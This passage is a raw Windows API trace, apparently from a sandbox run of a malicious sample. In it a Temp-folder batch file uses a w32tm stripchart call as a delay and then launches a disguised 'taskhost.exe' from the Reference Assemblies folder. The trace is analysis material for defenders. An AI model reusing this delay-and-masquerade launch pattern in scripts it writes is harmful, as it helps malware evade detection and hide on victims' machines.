returned 1 [0175.735] GetProcessHeap () returned 0x440000 [0175.735] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4548a0 | out: hHeap=0x440000) returned 1 [0175.735] GetProcessHeap () returned 0x440000 [0175.736] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x46ab40 | out: hHeap=0x440000) returned 1 [0175.736] GetProcessHeap () returned 0x440000 [0175.736] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x46aa80 | out: hHeap=0x440000) returned 1 [0175.736] _get_osfhandle (_FileHandle=3) returned 0x60 [0175.736] SetFilePointer (in: hFile=0x60, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb [0175.736] ReadFile (in: hFile=0x60, lpBuffer=0x4a68c320, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x31f0b0, lpOverlapped=0x0 | out: lpBuffer=0x4a68c320*, lpNumberOfBytesRead=0x31f0b0*=0xd0, lpOverlapped=0x0) returned 1 [0175.736] SetFilePointer (in: hFile=0x60, lDistanceToMove=88, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x58 [0175.736] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a68c320, cbMultiByte=77, lpWideCharStr=0x4a68e320, cchWideChar=8191 | out: lpWideCharStr="w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 1>nul\r\n") returned 77 [0175.737] _get_osfhandle (_FileHandle=3) returned 0x60 [0175.737] GetFileType (hFile=0x60) returned 0x1 [0175.737] _get_osfhandle (_FileHandle=3) returned 0x60 [0175.737] SetFilePointer (in: hFile=0x60, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x58 [0175.737] GetProcessHeap () returned 0x440000 [0175.737] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x4012) returned 0x45b780 [0175.737] GetProcessHeap () returned 0x440000 [0175.737] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45b780 | out: hHeap=0x440000) returned 1 [0175.738] _tell (_FileHandle=3) returned 88 [0175.738] _close (_FileHandle=3) returned 0 [0175.738] _wcsicmp (_String1="w32tm", _String2="DIR") returned 19 [0175.738] _wcsicmp (_String1="w32tm", _String2="ERASE") returned 18 [0175.738] _wcsicmp (_String1="w32tm", _String2="DEL") returned 19 [0175.738] _wcsicmp (_String1="w32tm", _String2="TYPE") returned 3 [0175.738] _wcsicmp (_String1="w32tm", _String2="COPY") returned 20 [0175.738] _wcsicmp (_String1="w32tm", _String2="CD") returned 20 [0175.739] _wcsicmp (_String1="w32tm", _String2="CHDIR") returned 20 [0175.739] _wcsicmp (_String1="w32tm", _String2="RENAME") returned 5 [0175.739] _wcsicmp (_String1="w32tm", _String2="REN") returned 5 [0175.739] _wcsicmp (_String1="w32tm", _String2="ECHO") returned 18 [0175.739] _wcsicmp (_String1="w32tm", _String2="SET") returned 4 [0175.739] _wcsicmp (_String1="w32tm", _String2="PAUSE") returned 7 [0175.739] _wcsicmp (_String1="w32tm", _String2="DATE") returned 19 [0175.739] _wcsicmp (_String1="w32tm", _String2="TIME") returned 3 [0175.739] _wcsicmp (_String1="w32tm", _String2="PROMPT") returned 7 [0175.739] _wcsicmp (_String1="w32tm", _String2="MD") returned 10 [0175.739] _wcsicmp (_String1="w32tm", _String2="MKDIR") returned 10 [0175.739] _wcsicmp (_String1="w32tm", _String2="RD") returned 5 [0175.739] _wcsicmp (_String1="w32tm", _String2="RMDIR") returned 5 [0175.739] _wcsicmp (_String1="w32tm", _String2="PATH") returned 7 [0175.739] _wcsicmp (_String1="w32tm", _String2="GOTO") returned 16 [0175.739] _wcsicmp (_String1="w32tm", _String2="SHIFT") returned 4 [0175.739] _wcsicmp (_String1="w32tm", _String2="CLS") returned 20 [0175.739] _wcsicmp (_String1="w32tm", _String2="CALL") returned 20 [0175.739] _wcsicmp (_String1="w32tm", _String2="VERIFY") returned 1 [0175.739] _wcsicmp (_String1="w32tm", _String2="VER") returned 1 [0175.739] _wcsicmp (_String1="w32tm", _String2="VOL") returned 1 [0175.739] _wcsicmp (_String1="w32tm", _String2="EXIT") returned 18 [0175.739] _wcsicmp (_String1="w32tm", _String2="SETLOCAL") returned 4 [0175.739] _wcsicmp (_String1="w32tm", _String2="ENDLOCAL") returned 18 [0175.739] _wcsicmp (_String1="w32tm", _String2="TITLE") returned 3 [0175.739] _wcsicmp (_String1="w32tm", _String2="START") returned 4 [0175.739] _wcsicmp (_String1="w32tm", _String2="DPATH") returned 19 [0175.740] _wcsicmp (_String1="w32tm", _String2="KEYS") returned 12 [0175.740] _wcsicmp (_String1="w32tm", _String2="MOVE") returned 10 [0175.740] _wcsicmp (_String1="w32tm", _String2="PUSHD") returned 7 [0175.740] _wcsicmp (_String1="w32tm", _String2="POPD") returned 7 [0175.740] _wcsicmp (_String1="w32tm", _String2="ASSOC") returned 22 [0175.740] _wcsicmp (_String1="w32tm", _String2="FTYPE") returned 17 [0175.740] _wcsicmp (_String1="w32tm", _String2="BREAK") returned 21 [0175.740] _wcsicmp (_String1="w32tm", _String2="COLOR") returned 20 [0175.740] _wcsicmp (_String1="w32tm", _String2="MKLINK") returned 10 [0175.740] SetErrorMode (uMode=0x0) returned 0x0 [0175.740] SetErrorMode (uMode=0x1) returned 0x0 [0175.740] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x45b790, lpFilePart=0x31f090 | out: lpBuffer="C:\\comproviderRuntimecommon", lpFilePart=0x31f090*="comproviderRuntimecommon") returned 0x1b [0175.740] SetErrorMode (uMode=0x0) returned 0x1 [0175.740] GetProcessHeap () returned 0x440000 [0175.740] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x45b780, Size=0x54) returned 0x45b780 [0175.740] GetProcessHeap () returned 0x440000 [0175.740] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45b780) returned 0x54 [0175.740] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a67f360, nSize=0x2000 | out: lpBuffer="") returned 0x8f [0175.740] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0175.741] GetProcessHeap () returned 0x440000 [0175.741] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x16c) returned 0x46abe0 [0175.741] GetProcessHeap () returned 0x440000 [0175.741] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x2c8) returned 0x45b7f0 [0175.741] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x45b7f0, Size=0x16e) returned 0x45b7f0 [0175.741] GetProcessHeap () returned 0x440000 [0175.741] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45b7f0) returned 0x16e [0175.741] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a67f360, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0175.741] GetProcessHeap () returned 0x440000 [0175.741] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0xe8) returned 0x46ad60 [0175.741] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x46ad60, Size=0x7e) returned 0x46ad60 [0175.741] GetProcessHeap () returned 0x440000 [0175.741] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x46ad60) returned 0x7e [0175.741] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0175.741] FindFirstFileExW (in: lpFileName="C:\\comproviderRuntimecommon\\w32tm.*" (normalized: "c:\\comproviderruntimecommon\\w32tm.*"), fInfoLevelId=0x1, lpFindFileData=0x31ee00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31ee00) returned 0xffffffffffffffff [0175.742] GetLastError () returned 0x2 [0175.742] FindFirstFileExW (in: lpFileName="C:\\comproviderRuntimecommon\\w32tm" (normalized: "c:\\comproviderruntimecommon\\w32tm"), fInfoLevelId=0x1, lpFindFileData=0x31ee00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31ee00) returned 0xffffffffffffffff [0175.797] GetLastError () returned 0x2 [0175.797] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0175.798] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\w32tm.*" (normalized: "c:\\windows\\system32\\w32tm.*"), fInfoLevelId=0x1, lpFindFileData=0x31ee00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31ee00) returned 0x46adf0 [0175.798] GetProcessHeap () returned 0x440000 [0175.798] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x454870, Size=0x8) returned 0x46ae50 [0175.798] FindClose (in: hFindFile=0x46adf0 | out: hFindFile=0x46adf0) returned 1 [0175.798] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\w32tm.COM" (normalized: "c:\\windows\\system32\\w32tm.com"), fInfoLevelId=0x1, lpFindFileData=0x31ee00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31ee00) returned 0xffffffffffffffff [0175.798] GetLastError () returned 0x2 [0175.798] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\w32tm.EXE" (normalized: "c:\\windows\\system32\\w32tm.exe"), fInfoLevelId=0x1, lpFindFileData=0x31ee00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31ee00) returned 0x46adf0 [0175.798] FindClose (in: hFindFile=0x46adf0 | out: hFindFile=0x46adf0) returned 1 [0175.798] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0175.799] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0175.799] _get_osfhandle (_FileHandle=1) returned 0x7 [0175.799] _get_osfhandle (_FileHandle=1) returned 0x7 [0175.799] _get_osfhandle (_FileHandle=1) returned 0x7 [0175.799] GetFileType (hFile=0x7) returned 0x2 [0175.799] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0175.799] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f018 | out: lpMode=0x31f018) returned 1 [0175.800] _dup (_FileHandle=1) returned 3 [0175.800] _close (_FileHandle=1) returned 0 [0175.800] _wcsicmp (_String1="nul", _String2="con") returned 11 [0175.800] CreateFileW (lpFileName="nul" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x31efc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x60 [0175.801] _open_osfhandle (_OSFileHandle=0x60, _Flags=8) returned 1 [0175.801] GetConsoleTitleW (in: lpConsoleTitle=0x31f050, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0175.801] SetErrorMode (uMode=0x0) returned 0x0 [0175.801] SetErrorMode (uMode=0x1) returned 0x0 [0175.801] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x45bba0, lpFilePart=0x31e8e0 | out: lpBuffer="C:\\comproviderRuntimecommon", lpFilePart=0x31e8e0*="comproviderRuntimecommon") returned 0x1b [0175.801] SetErrorMode (uMode=0x0) returned 0x1 [0175.801] GetProcessHeap () returned 0x440000 [0175.802] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x45bb90, Size=0x54) returned 0x45bb90 [0175.802] GetProcessHeap () returned 0x440000 [0175.802] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45bb90) returned 0x54 [0175.802] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a67f360, nSize=0x2000 | out: lpBuffer="") returned 0x8f [0175.802] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0175.802] GetProcessHeap () returned 0x440000 [0175.802] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x16c) returned 0x45bc00 [0175.802] GetProcessHeap () returned 0x440000 [0175.802] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x2c8) returned 0x45bd80 [0175.802] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x45bd80, Size=0x16e) returned 0x45bd80 [0175.802] GetProcessHeap () returned 0x440000 [0175.802] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45bd80) returned 0x16e [0175.802] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a67f360, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0175.802] GetProcessHeap () returned 0x440000 [0175.802] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0xe8) returned 0x45bf00 [0175.802] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x45bf00, Size=0x7e) returned 0x45bf00 [0175.802] GetProcessHeap () returned 0x440000 [0175.802] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45bf00) returned 0x7e [0175.802] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0175.802] FindFirstFileExW (in: lpFileName="C:\\comproviderRuntimecommon\\w32tm.*" (normalized: "c:\\comproviderruntimecommon\\w32tm.*"), fInfoLevelId=0x1, lpFindFileData=0x31e650, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31e650) returned 0xffffffffffffffff [0175.803] GetLastError () returned 0x2 [0175.803] FindFirstFileExW (in: lpFileName="C:\\comproviderRuntimecommon\\w32tm" (normalized: "c:\\comproviderruntimecommon\\w32tm"), fInfoLevelId=0x1, lpFindFileData=0x31e650, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31e650) returned 0xffffffffffffffff [0175.803] GetLastError () returned 0x2 [0175.803] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0175.803] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\w32tm.*" (normalized: "c:\\windows\\system32\\w32tm.*"), fInfoLevelId=0x1, lpFindFileData=0x31e650, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31e650) returned 0x46adf0 [0175.803] FindClose (in: hFindFile=0x46adf0 | out: hFindFile=0x46adf0) returned 1 [0175.803] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\w32tm.COM" (normalized: "c:\\windows\\system32\\w32tm.com"), fInfoLevelId=0x1, lpFindFileData=0x31e650, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31e650) returned 0xffffffffffffffff [0175.804] GetLastError () returned 0x2 [0175.804] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\w32tm.EXE" (normalized: "c:\\windows\\system32\\w32tm.exe"), fInfoLevelId=0x1, lpFindFileData=0x31e650, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31e650) returned 0x46adf0 [0175.804] FindClose (in: hFindFile=0x46adf0 | out: hFindFile=0x46adf0) returned 1 [0175.804] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0175.804] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0175.804] GetConsoleTitleW (in: lpConsoleTitle=0x31eba0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0175.804] InitializeProcThreadAttributeList (in: lpAttributeList=0x31e958, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x31e918 | out: lpAttributeList=0x31e958, lpSize=0x31e918) returned 1 [0175.804] UpdateProcThreadAttribute (in: lpAttributeList=0x31e958, dwFlags=0x0, Attribute=0x60001, lpValue=0x31e908, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x31e958, lpPreviousValue=0x0) returned 1 [0175.804] GetStartupInfoW (in: lpStartupInfo=0x31ea70 | out: lpStartupInfo=0x31ea70*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) [0175.805] lstrcmpW (lpString1="\\w32tm.exe", lpString2="\\XCOPY.EXE") returned -1 [0175.807] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\w32tm.exe", lpCommandLine="w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\comproviderRuntimecommon", lpStartupInfo=0x31e990*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x31e940 | out: lpCommandLine="w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 ", lpProcessInformation=0x31e940*(hProcess=0x64, hThread=0x5c, dwProcessId=0xa98, dwThreadId=0xa9c)) returned 1 [0175.836] CloseHandle (hObject=0x5c) returned 1 [0175.836] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0175.836] GetProcessHeap () returned 0x440000 [0175.836] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x459b20 | out: hHeap=0x440000) returned 1 [0175.836] GetEnvironmentStringsW () returned 0x459b20* [0175.836] GetProcessHeap () returned 0x440000 [0175.836] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0xd0e) returned 0x45c110 [0175.836] memcpy (in: _Dst=0x45c110, _Src=0x459b20, _Size=0xd0e | out: _Dst=0x45c110) returned 0x45c110 [0175.836] FreeEnvironmentStringsW (penv=0x459b20) returned 1 [0175.836] WaitForSingleObject (hHandle=0x64, dwMilliseconds=0xffffffff) returned 0x0 [0181.884] GetExitCodeProcess (in: hProcess=0x64, lpExitCode=0x31e888 | out: lpExitCode=0x31e888*=0x0) returned 1 [0181.884] CloseHandle (hObject=0x64) returned 1 [0181.884] _vsnwprintf (in: _Buffer=0x31eaf8, _BufferCount=0x13, _Format="%08X", _ArgList=0x31e898 | out: _Buffer="00000000") returned 8 [0181.884] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0181.884] GetProcessHeap () returned 0x440000 [0181.884] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45c110 | out: hHeap=0x440000) returned 1 [0181.884] GetEnvironmentStringsW () returned 0x45db70* [0181.884] GetProcessHeap () returned 0x440000 [0181.884] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0xd34) returned 0x45e8b0 [0181.885] memcpy (in: _Dst=0x45e8b0, _Src=0x45db70, _Size=0xd34 | out: _Dst=0x45e8b0) returned 0x45e8b0 [0181.885] FreeEnvironmentStringsW (penv=0x45db70) returned 1 [0181.885] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0181.885] GetProcessHeap () returned 0x440000 [0181.885] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45e8b0 | out: hHeap=0x440000) returned 1 [0181.885] GetEnvironmentStringsW () returned 0x45db70* [0181.885] GetProcessHeap () returned 0x440000 [0181.885] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0xd34) returned 0x45e8b0 [0181.885] memcpy (in: _Dst=0x45e8b0, _Src=0x45db70, _Size=0xd34 | out: _Dst=0x45e8b0) returned 0x45e8b0 [0181.885] FreeEnvironmentStringsW (penv=0x45db70) returned 1 [0181.885] GetProcessHeap () returned 0x440000 [0181.885] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x46a1d0 | out: hHeap=0x440000) returned 1 [0181.885] DeleteProcThreadAttributeList (in: lpAttributeList=0x31e958 | out: lpAttributeList=0x31e958) [0181.885] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0181.887] _close (_FileHandle=3) returned 0 [0181.888] _get_osfhandle (_FileHandle=1) returned 0x7 [0181.888] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0181.905] _get_osfhandle (_FileHandle=1) returned 0x7 [0181.905] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a67e194 | out: lpMode=0x4a67e194) returned 1 [0181.905] _get_osfhandle (_FileHandle=0) returned 0x3 [0181.905] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a67e198 | out: lpMode=0x4a67e198) returned 1 [0181.905] SetConsoleInputExeNameW () returned 0x1 [0181.905] GetConsoleOutputCP () returned 0x1b5 [0181.905] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a68bfe0 | out: lpCPInfo=0x4a68bfe0) returned 1 [0181.906] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0181.906] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\GYwzkQocQK.bat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\gywzkqocqk.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x31f2a8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x60 [0181.906] _open_osfhandle (_OSFileHandle=0x60, _Flags=8) returned 3 [0181.906] _get_osfhandle (_FileHandle=3) returned 0x60 [0181.906] SetFilePointer (in: hFile=0x60, lDistanceToMove=88, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x58 [0181.906] GetProcessHeap () returned 0x440000 [0181.906] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45bf00 | out: hHeap=0x440000) returned 1 [0181.906] GetProcessHeap () returned 0x440000 [0181.907] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45bd80 | out: hHeap=0x440000) returned 1 [0181.907] GetProcessHeap () returned 0x440000 [0181.907] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45bc00 | out: hHeap=0x440000) returned 1 [0181.907] GetProcessHeap () returned 0x440000 [0181.907] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45bb90 | out: hHeap=0x440000) returned 1 [0181.907] GetProcessHeap () returned 0x440000 [0181.907] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x46ae70 | out: hHeap=0x440000) returned 1 [0181.907] GetProcessHeap () returned 0x440000 [0181.907] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45b970 | out: hHeap=0x440000) returned 1 [0181.907] GetProcessHeap () returned 0x440000 [0181.907] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x454870 | out: hHeap=0x440000) returned 1 [0181.907] GetProcessHeap () returned 0x440000 [0181.907] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x46ad60 | out: hHeap=0x440000) returned 1 [0181.907] GetProcessHeap () returned 0x440000 [0181.908] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45b7f0 | out: hHeap=0x440000) returned 1 [0181.908] GetProcessHeap () returned 0x440000 [0181.908] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x46abe0 | out: hHeap=0x440000) returned 1 [0181.908] GetProcessHeap () returned 0x440000 [0181.908] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45b780 | out: hHeap=0x440000) returned 1 [0181.908] GetProcessHeap () returned 0x440000 [0181.908] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x46a190 | out: hHeap=0x440000) returned 1 [0181.908] GetProcessHeap () returned 0x440000 [0181.908] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x456d60 | out: hHeap=0x440000) returned 1 [0181.908] GetProcessHeap () returned 0x440000 [0181.908] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x46ab40 | out: hHeap=0x440000) returned 1 [0181.908] GetProcessHeap () returned 0x440000 [0181.908] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4548a0 | out: hHeap=0x440000) returned 1 [0181.908] GetProcessHeap () returned 0x440000 [0181.908] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x46aa80 | out: hHeap=0x440000) returned 1 [0181.909] _get_osfhandle (_FileHandle=3) returned 0x60 [0181.909] SetFilePointer (in: hFile=0x60, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x58 [0181.909] ReadFile (in: hFile=0x60, lpBuffer=0x4a68c320, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x31f0b0, lpOverlapped=0x0 | out: lpBuffer=0x4a68c320*, lpNumberOfBytesRead=0x31f0b0*=0x83, lpOverlapped=0x0) returned 1 [0181.910] SetFilePointer (in: hFile=0x60, lDistanceToMove=151, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x97 [0181.910] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a68c320, cbMultiByte=63, lpWideCharStr=0x4a68e320, cchWideChar=8191 | out: lpWideCharStr="start \"\" \"C:\\Program Files\\Reference Assemblies\\taskhost.exe\"\r\nles:2 1>nul\r\n") returned 63 [0181.910] _get_osfhandle (_FileHandle=3) returned 0x60 [0181.910] GetFileType (hFile=0x60) returned 0x1 [0181.910] _get_osfhandle (_FileHandle=3) returned 0x60 [0181.910] SetFilePointer (in: hFile=0x60, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x97 [0181.911] GetProcessHeap () returned 0x440000 [0181.911] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x4012) returned 0x46ae70 [0181.911] GetProcessHeap () returned 0x440000 [0181.912] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x46ae70 | out: hHeap=0x440000) returned 1 [0181.912] _tell (_FileHandle=3) returned 151 [0181.912] _close (_FileHandle=3) returned 0 [0181.912] _wcsicmp (_String1="start", _String2="DIR") returned 15 [0181.912] _wcsicmp (_String1="start", _String2="ERASE") returned 14 [0181.912] _wcsicmp (_String1="start", _String2="DEL") returned 15 [0181.912] _wcsicmp (_String1="start", _String2="TYPE") returned -1 [0181.912] _wcsicmp (_String1="start", _String2="COPY") returned 16 [0181.912] _wcsicmp (_String1="start", _String2="CD") returned 16 [0181.912] _wcsicmp (_String1="start", _String2="CHDIR") returned 16 [0181.912] _wcsicmp (_String1="start", _String2="RENAME") returned 1 [0181.912] _wcsicmp (_String1="start", _String2="REN") returned 1 [0181.912] _wcsicmp (_String1="start", _String2="ECHO") returned 14 [0181.912] _wcsicmp (_String1="start", _String2="SET") returned 15 [0181.912] _wcsicmp (_String1="start", _String2="PAUSE") returned 3 [0181.912] _wcsicmp (_String1="start", _String2="DATE") returned 15 [0181.913] _wcsicmp (_String1="start", _String2="TIME") returned -1 [0181.913] _wcsicmp (_String1="start", _String2="PROMPT") returned 3 [0181.913] _wcsicmp (_String1="start", _String2="MD") returned 6 [0181.913] _wcsicmp (_String1="start", _String2="MKDIR") returned 6 [0181.913] _wcsicmp (_String1="start", _String2="RD") returned 1 [0181.913] _wcsicmp (_String1="start", _String2="RMDIR") returned 1 [0181.913] _wcsicmp (_String1="start", _String2="PATH") returned 3 [0181.913] _wcsicmp (_String1="start", _String2="GOTO") returned 12 [0181.913] _wcsicmp (_String1="start", _String2="SHIFT") returned 12 [0181.913] _wcsicmp (_String1="start", _String2="CLS") returned 16 [0181.913] _wcsicmp (_String1="start", _String2="CALL") returned 16 [0181.913] _wcsicmp (_String1="start", _String2="VERIFY") returned -3 [0181.913] _wcsicmp (_String1="start", _String2="VER") returned -3 [0181.913] _wcsicmp (_String1="start", _String2="VOL") returned -3 [0181.913] _wcsicmp (_String1="start", _String2="EXIT") returned 14 [0181.913] _wcsicmp (_String1="start", _String2="SETLOCAL") returned 15 [0181.913] _wcsicmp (_String1="start", _String2="ENDLOCAL") returned 14 [0181.913] _wcsicmp (_String1="start", _String2="TITLE") returned -1 [0181.913] _wcsicmp (_String1="start", _String2="START") returned 0 [0181.913] GetConsoleTitleW (in: lpConsoleTitle=0x31f050, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0181.914] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x46aa80, Size=0x82) returned 0x46aa80 [0181.914] GetProcessHeap () returned 0x440000 [0181.914] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x46aa80) returned 0x82 [0181.914] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0181.914] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0181.914] GetStdHandle (nStdHandle=0xfffffff4) 